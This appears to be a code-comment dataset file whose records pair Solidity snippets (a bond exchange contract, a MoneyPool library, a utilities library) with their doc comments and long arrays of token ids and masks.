require(address(bondToken) != address(0), "the bond is not registered");
{
(uint256 rateE8, , , ) = _calcRateBondToUsd(bondID, poolID);
require(
rateE8 > MIN_EXCHANGE_RATE_E8,
"exchange rate is too small"
);
require(
rateE8 < MAX_EXCHANGE_RATE_E8,
"exchange rate is too large"
);
bondAmount =
_applyDecimalGap(
amountInDollars,
DECIMALS_OF_BOND_VALUE,
bondToken.decimals() + 8
) /
rateE8;
require(bondAmount != 0, "must transfer non-zero bond amount");
}
{
(
address seller,
,
VolatilityOracleInterface volatilityOracle,
BondPricerInterface bondPricerForUser,
,
,
) = _getVsBondPool(poolID);
require(
bondToken.transferFrom(seller, buyer, bondAmount),
"fail to transfer bonds"
);
address buyerTmp = buyer; // avoid `stack too deep` error
uint256 amountInDollarsTmp = amountInDollars; // avoid `stack too deep` error
require(
_batchTransferBondFrom(
bondMakerForUser,
volatilityOracle,
bondPricerForUser,
bondIDs,
maturity,
buyerTmp,
seller,
amountInDollarsTmp
),
"fail to transfer ERC20 token"
);
}
uint256 volumeE8 = _applyDecimalGap(
amountInDollars,
DECIMALS_OF_BOND_VALUE,
8
);
emit LogExchangeBondToBond(
buyer,
bondID,
poolID,
bondAmount,
amountInDollars,
volumeE8
);
}
function _calcRateBondToUsd(bytes32 bondID, bytes32 poolID)
internal
returns (
uint256 rateE8,
uint256 bondPriceE8,
uint256 swapPairPriceE8,
int256 spreadE8
)
{
(
,
,
,
,
BondPricerInterface bondPricer,
int16 feeBaseE4,
) = _getVsBondPool(poolID);
(bondPriceE8, spreadE8) = _calcBondPriceAndSpread(
bondPricer,
bondID,
feeBaseE4
);
bondPriceE8 = _calcUsdPrice(bondPriceE8);
swapPairPriceE8 = 10**8;
rateE8 = bondPriceE8.mul(uint256(10**8 + spreadE8)) / 10**8;
}
function _generateVsBondPoolID(address seller, address bondMakerForUser)
internal
view
returns (bytes32 poolID)
{
return
keccak256(
abi.encode(
"Bond vs SBT exchange",
address(this),
seller,
bondMakerForUser
)
);
}
function _setVsBondPool(
bytes32 poolID,
address seller,
BondMakerInterface bondMakerForUser,
VolatilityOracleInterface volatilityOracle,
BondPricerInterface bondPricerForUser,
BondPricerInterface bondPricer,
int16 feeBaseE4
) internal {
require(seller != address(0), "the pool ID already exists");
require(
address(bondMakerForUser) != address(0),
"bondMakerForUser should be non-zero address"
);
require(
address(bondPricerForUser) != address(0),
"bondPricerForUser should be non-zero address"
);
require(
address(bondPricer) != address(0),
"bondPricer should be non-zero address"
);
_assertBondMakerDecimals(bondMakerForUser);
_vsBondPool[poolID] = VsBondPool({
seller: seller,
bondMakerForUser: bondMakerForUser,
volatilityOracle: volatilityOracle,
bondPricerForUser: bondPricerForUser,
bondPricer: bondPricer,
feeBaseE4: feeBaseE4
});
}
function _createVsBondPool(
address seller,
BondMakerInterface bondMakerForUser,
VolatilityOracleInterface volatilityOracle,
BondPricerInterface bondPricerForUser,
BondPricerInterface bondPricer,
int16 feeBaseE4
) internal returns (bytes32 poolID) {
poolID = _generateVsBondPoolID(seller, address(bondMakerForUser));
require(
_vsBondPool[poolID].seller == address(0),
"the pool ID already exists"
);
_assertBondMakerDecimals(bondMakerForUser);
_setVsBondPool(
poolID,
seller,
bondMakerForUser,
volatilityOracle,
bondPricerForUser,
bondPricer,
feeBaseE4
);
emit LogCreateBondToBondPool(poolID, seller, address(bondMakerForUser));
emit LogUpdateVsBondPool(
poolID,
address(bondPricerForUser),
address(bondPricer),
feeBaseE4
);
}
function _updateVsBondPool(
bytes32 poolID,
VolatilityOracleInterface volatilityOracle,
BondPricerInterface bondPricerForUser,
BondPricerInterface bondPricer,
int16 feeBaseE4
) internal isExsistentVsBondPool(poolID) {
(
address seller,
BondMakerInterface bondMakerForUser,
,
,
,
,
) = _getVsBondPool(poolID);
_setVsBondPool(
poolID,
seller,
bondMakerForUser,
volatilityOracle,
bondPricerForUser,
bondPricer,
feeBaseE4
);
emit LogUpdateVsBondPool(
poolID,
address(bondPricerForUser),
address(bondPricer),
feeBaseE4
);
}
function _deleteVsBondPool(bytes32 poolID)
internal
isExsistentVsBondPool(poolID)
{
delete _vsBondPool[poolID];
emit LogDeleteVsBondPool(poolID);
}
function _getVsBondPool(bytes32 poolID)
internal
view
isExsistentVsBondPool(poolID)
returns (
address seller,
BondMakerInterface bondMakerForUser,
VolatilityOracleInterface volatilityOracle,
BondPricerInterface bondPricerForUser,
BondPricerInterface bondPricer,
int16 feeBaseE4,
bool isBondSale
)
{
VsBondPool memory exchangePair = _vsBondPool[poolID];
seller = exchangePair.seller;
bondMakerForUser = exchangePair.bondMakerForUser;
volatilityOracle = exchangePair.volatilityOracle;
bondPricerForUser = exchangePair.bondPricerForUser;
bondPricer = exchangePair.bondPricer;
feeBaseE4 = exchangePair.feeBaseE4;
isBondSale = true;
}
/**
* @dev Transfer multiple bonds in one method.
* Unnecessary bonds can be included in bondIDs.
*/
function _batchTransferBondFrom(
BondMakerInterface bondMaker,
VolatilityOracleInterface volatilityOracle,
BondPricerInterface bondPricer,
bytes32[] memory bondIDs,
uint256 maturityBorder,
address sender,
address recipient,
uint256 amountInDollars
) internal returns (bool ok) {
uint256 oraclePriceE8 = _getLatestPrice(bondMaker.oracleAddress());
uint256 rest = amountInDollars; // mutable
for (uint256 i = 0; i < bondIDs.length; i++) {
ERC20 bond;
uint256 oracleVolE8;
{
uint256 maturity;
(bond, maturity, , ) = _getBond(bondMaker, bondIDs[i]);
if (maturity > maturityBorder) continue; // skip transaction
uint256 untilMaturity = maturity.sub(
_getBlockTimestampSec(),
"the bond should not have expired"
);
oracleVolE8 = _getVolatility(
volatilityOracle,
untilMaturity.toUint64()
);
}
uint256 allowance = bond.allowance(sender, address(this));
if (allowance == 0) continue; // skip transaction
BondMakerInterface bondMakerTmp = bondMaker; // avoid `stack too deep` error
BondPricerInterface bondPricerTmp = bondPricer; // avoid `stack too deep` error
bytes32 bondIDTmp = bondIDs[i]; // avoid `stack too deep` error
uint256 bondPrice = _calcBondPrice(
bondMakerTmp,
bondPricerTmp,
bondIDTmp,
oraclePriceE8,
oracleVolE8
);
if (bondPrice == 0) continue; // skip transaction
if (rest <= allowance.mul(bondPrice)) {
// assert(ceil(rest / bondPrice) <= allowance);
return
bond.transferFrom(
sender,
recipient,
rest.divRoundUp(bondPrice)
);
}
require(
bond.transferFrom(sender, recipient, allowance),
"fail to transfer bonds"
);
rest -= allowance * bondPrice;
}
revert("insufficient bond allowance");
}
/**
* @dev Returns the total approved bond amount in U.S. dollars.
* Unnecessary bond must not be included in bondIDs.
*/
function _totalBondAllowance(
BondMakerInterface bondMaker,
VolatilityOracleInterface volatilityOracle,
BondPricerInterface bondPricer,
bytes32[] memory bondIDs,
uint256 maturityBorder,
address sender
) internal returns (uint256 allowanceInDollars) {
uint256 oraclePriceE8 = _getLatestPrice(bondMaker.oracleAddress());
for (uint256 i = 0; i < bondIDs.length; i++) {
ERC20 bond;
uint256 oracleVolE8;
{
uint256 maturity;
(bond, maturity, , ) = _getBond(bondMaker, bondIDs[i]);
if (maturity > maturityBorder) continue; // skip
uint256 untilMaturity = maturity.sub(
_getBlockTimestampSec(),
"the bond should not have expired"
);
oracleVolE8 = _getVolatility(
volatilityOracle,
untilMaturity.toUint64()
);
}
uint256 balance = bond.balanceOf(sender);
require(balance != 0, "includes no bond balance");
uint256 allowance = bond.allowance(sender, address(this));
require(allowance != 0, "includes no approved bond");
uint256 bondPrice = _calcBondPrice(
bondMaker,
bondPricer,
bondIDs[i],
oraclePriceE8,
oracleVolE8
);
require(bondPrice != 0, "includes worthless bond");
allowanceInDollars = allowanceInDollars.add(
allowance.mul(bondPrice)
);
}
}
/**
* @dev Calculate bond price by bond ID.
*/
function _calcBondPrice(
BondMakerInterface bondMaker,
BondPricerInterface bondPricer,
bytes32 bondID,
uint256 oraclePriceE8,
uint256 oracleVolatilityE8
) internal view returns (uint256) {
int256 untilMaturity;
{
(, uint256 maturity, , ) = _getBond(bondMaker, bondID);
untilMaturity = maturity
.sub(
_getBlockTimestampSec(),
"the bond should not have expired"
)
.toInt256();
}
BondType bondType;
uint256[] memory points;
{
bool isKnownBondType;
(isKnownBondType, bondType, points) = _bondShapeDetector
.getBondTypeByID(bondMaker, bondID, BondType.NONE);
if (!isKnownBondType) {
revert("unknown bond type");
// return 0;
}
}
try
bondPricer.calcPriceAndLeverage(
bondType,
points,
oraclePriceE8.toInt256(),
oracleVolatilityE8.toInt256(),
untilMaturity
)
returns (uint256 bondPriceE8, uint256) {
return bondPriceE8;
} catch {
return 0;
}
}
}
// File: contracts/generalizedDotc/GeneralizedDotc.sol
pragma solidity 0.6.6;
contract GeneralizedDotc is
BondVsBondExchange,
BondVsErc20Exchange,
BondVsEthExchange
{
constructor(
BondMakerInterface bondMakerAddress,
VolatilityOracleInterface volatilityOracleAddress,
LatestPriceOracleInterface volumeCalculatorAddress,
DetectBondShape bondShapeDetector
)
public
BondExchange(
bondMakerAddress,
volatilityOracleAddress,
volumeCalculatorAddress,
bondShapeDetector
)
{}
}
|
* @dev Reverts when the pool ID does not exist./
|
modifier isExsistentVsErc20Pool(bytes32 poolID) {
require(
_vsErc20Pool[poolID].seller != address(0),
"the exchange pair does not exist"
);
_;
}
| 6,770,779 |
[
1,
426,
31537,
1347,
326,
2845,
1599,
1552,
486,
1005,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
9606,
353,
424,
87,
376,
319,
16082,
41,
1310,
3462,
2864,
12,
3890,
1578,
2845,
734,
13,
288,
203,
3639,
2583,
12,
203,
5411,
389,
6904,
41,
1310,
3462,
2864,
63,
6011,
734,
8009,
1786,
749,
480,
1758,
12,
20,
3631,
203,
5411,
315,
5787,
7829,
3082,
1552,
486,
1005,
6,
203,
3639,
11272,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x000000000aDac1dE790E7C635887cFA7C40c161d/sources/src/optimized/WethConverter.sol
|
Get the maximum spent item.
|
SpentItem calldata maximumSpentItem = maximumSpent[0];
| 4,080,727 |
[
1,
967,
326,
4207,
26515,
761,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
5878,
319,
1180,
745,
892,
4207,
3389,
319,
1180,
273,
4207,
3389,
319,
63,
20,
15533,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./Math.sol";
/// @notice Logic to manipulate MoneyPool data.
library MoneyPool {
using SafeMath for uint256;
/// @notice Possible states that a Money pool may be in
/// @dev Money pool's are immutable once the Money pool is active.
enum State {Upcoming, Active, Redistributing}
/// @notice The Money pool structure represents a project stewarded by an address, and accounts for which addresses have helped sustain the project.
struct Data {
// A unique number that's incremented for each new Money pool, starting with 1.
uint256 number;
// The address who defined this Money pool and who has access to its sustainments.
address owner;
// The token that this Money pool can be funded with.
IERC20 want;
// The amount that represents sustainability for this Money pool.
uint256 target;
// The running amount that's been contributed to sustaining this Money pool.
uint256 total;
// The time when this Money pool will become active.
uint256 start;
// The number of seconds until this Money pool's surplus is redistributed.
uint256 duration;
// The amount of available funds that have been tapped by the owner.
uint256 tapped;
// Helper to verify this Money pool exists.
bool exists;
// Indicates if surplus funds have been redistributed for each sustainer address.
mapping(address => bool) hasRedistributed;
// The amount each address has contributed to sustaining this Money pool.
mapping(address => uint256) sustainments;
// The Money pool's version.
uint8 version;
}
// --- internal transactions --- //
/**
@notice Initializes a Money pool's parameters.
@param self The Money pool to initialize.
@param _owner The owner of the Money pool.
@param _start The start time of the Money pool.
@param _number The number of the Money pool.
*/
function _init(
Data storage self,
address _owner,
uint256 _start,
uint256 _number
) internal {
self.number = _number;
self.owner = _owner;
self.start = _start;
self.total = 0;
self.tapped = 0;
self.exists = true;
self.version = 1;
}
/**
@dev Configures the sustainability target and duration of the sender's current Money pool if it hasn't yet received sustainments, or
sets the properties of the Money pool that will take effect once the current Money pool expires.
@param self The Money pool to configure.
@param _target The sustainability target to set.
@param _duration The duration to set, measured in seconds.
@param _want The token that the Money pool wants.
*/
function _configure(
Data storage self,
uint256 _target,
uint256 _duration,
IERC20 _want
) internal {
self.target = _target;
self.duration = _duration;
self.want = _want;
}
/**
@notice Contribute a specified amount to the sustainability of the specified address's active Money pool.
If the amount results in surplus, redistribute the surplus proportionally to sustainers of the Money pool.
@param self The Money pool to sustain.
@param _amount Amount of sustainment.
@param _beneficiary The address to associate with this sustainment. The mes.sender is making this sustainment on the beneficiary's behalf.
*/
function _sustain(
Data storage self,
uint256 _amount,
address _beneficiary
) internal {
// Increment the sustainments to the Money pool made by the message sender.
self.sustainments[_beneficiary] = self.sustainments[_beneficiary].add(
_amount
);
// Increment the total amount contributed to the sustainment of the Money pool.
self.total = self.total.add(_amount);
}
/**
@dev Increase the amount that has been tapped by the Money pool's owner.
@param self The Money pool to tap.
@param _amount The amount to tap.
*/
function _tap(Data storage self, uint256 _amount) internal {
self.tapped = self.tapped.add(_amount);
}
/**
@notice Clones the properties from the base.
@param self The Money pool to clone onto.
@param _baseMp The Money pool to clone from.
*/
function _clone(Data storage self, Data memory _baseMp) internal {
self.target = _baseMp.target;
self.duration = _baseMp.duration;
self.want = _baseMp.want;
}
// --- internal views --- //
/**
@notice The state the Money pool for the given number is in.
@param self The Money pool to get the state of.
@return state The state.
*/
function _state(Data memory self) internal view returns (State) {
if (_hasExpired(self)) return State.Redistributing;
if (_hasStarted(self)) return State.Active;
return State.Upcoming;
}
/**
@notice Returns the amount available for the given Money pool's owner to tap in to.
@param self The Money pool to make the calculation for.
@return The resulting amount.
*/
function _tappableAmount(Data storage self)
internal
view
returns (uint256)
{
return Math.min(self.target, self.total).sub(self.tapped);
}
/**
@notice The amount of redistribution in a Money pool that can be claimed by the given address.
@param self The Money pool to get a redistribution amount for.
@param _sustainer The address of the sustainer to get an amount for.
@return amount The amount.
*/
function _trackedRedistribution(Data storage self, address _sustainer)
internal
view
returns (uint256)
{
// Return 0 if there's no surplus.
if (self.total < self.target) return 0;
uint256 _surplus = self.total.sub(self.target);
// Calculate their share of the sustainment for the the given sustainer.
// allocate a proportional share of the surplus, overwriting any previous value.
uint256 _proportionOfTotal =
self.sustainments[_sustainer].div(self.total);
return _surplus.mul(_proportionOfTotal);
}
/**
@notice Returns the date that is the nearest multiple of duration from oldEnd.
@return start The date.
*/
function _determineNextStart(Data storage self)
internal
view
returns (uint256)
{
uint256 _end = self.start.add(self.duration);
// Use the old end if the current time is still within the duration.
if (_end.add(self.duration) > now) return _end;
// Otherwise, use the closest multiple of the duration from the old end.
uint256 _distanceToStart = (now.sub(_end)).mod(self.duration);
return now.sub(_distanceToStart);
}
// --- private views --- //
/**
@notice Check to see if the given Money pool has started.
@param self The Money pool to check.
@return hasStarted The boolean result.
*/
function _hasStarted(Data memory self) private view returns (bool) {
return now >= self.start;
}
/**
@notice Check to see if the given MoneyPool has expired.
@param self The Money pool to check.
@return hasExpired The boolean result.
*/
function _hasExpired(Data memory self) private view returns (bool) {
return now > self.start.add(self.duration);
}
/**
@notice The properties of the given Money pool.
@param self The Money pool to get the properties of.
@return number The number of the Money pool.
@return want The token the Money pool wants.
@return target The amount of the want token this Money pool is targeting.
@return start The time when this Money pool started.
@return duration The duration of this Money pool, measured in seconds.
@return total The total amount passed through the Money pool. Returns 0 if the Money pool isn't owned by the message sender.
*/
function _properties(Data memory self)
internal
pure
returns (
uint256,
IERC20,
uint256,
uint256,
uint256,
uint256
)
{
return (
self.number,
self.want,
self.target,
self.start,
self.duration,
self.total
);
}
}
|
@notice Possible states that a Money pool may be in @dev Money pool's are immutable once the Money pool is active.
|
enum State {Upcoming, Active, Redistributing}
| 12,954,716 |
[
1,
13576,
5493,
716,
279,
16892,
2845,
2026,
506,
316,
225,
16892,
2845,
1807,
854,
11732,
3647,
326,
16892,
2845,
353,
2695,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2792,
3287,
288,
1211,
5522,
16,
8857,
16,
8505,
665,
8490,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/4/0x2304Cef25f71F7cbfF0B96c3AA4f6C88766E42f7/sources/MolVault.sol
|
concat two bytes objects
|
library Utilities {
function concat(bytes memory a, bytes memory b)
internal pure returns (bytes memory) {
return abi.encodePacked(a, b);
}
function toBytes(address x) internal pure returns (bytes memory b) {
b = new bytes(20);
for (uint i = 0; i < 20; i++)
b[i] = byte(uint8(uint(x) / (2**(8*(19 - i)))));
}
function toBytes(uint256 x) internal pure returns (bytes memory b) {
b = new bytes(32);
}
assembly { mstore(add(b, 32), x) }
function append(string memory a, string memory b) internal pure returns (string memory) {
return string(abi.encodePacked(a, b));
}
}
| 8,753,929 |
[
1,
16426,
2795,
1731,
2184,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
12083,
26703,
288,
203,
565,
445,
3835,
12,
3890,
3778,
279,
16,
1731,
3778,
324,
13,
203,
5411,
2713,
16618,
1135,
261,
3890,
3778,
13,
288,
203,
3639,
327,
24126,
18,
3015,
4420,
329,
12,
69,
16,
324,
1769,
203,
565,
289,
203,
203,
565,
445,
23247,
12,
2867,
619,
13,
2713,
16618,
1135,
261,
3890,
3778,
324,
13,
288,
203,
202,
202,
70,
273,
394,
1731,
12,
3462,
1769,
203,
203,
202,
202,
1884,
261,
11890,
277,
273,
374,
31,
277,
411,
4200,
31,
277,
27245,
203,
1082,
202,
70,
63,
77,
65,
273,
1160,
12,
11890,
28,
12,
11890,
12,
92,
13,
342,
261,
22,
636,
12,
28,
21556,
3657,
300,
277,
3719,
3719,
1769,
203,
202,
97,
203,
203,
202,
915,
23247,
12,
11890,
5034,
619,
13,
2713,
16618,
1135,
261,
3890,
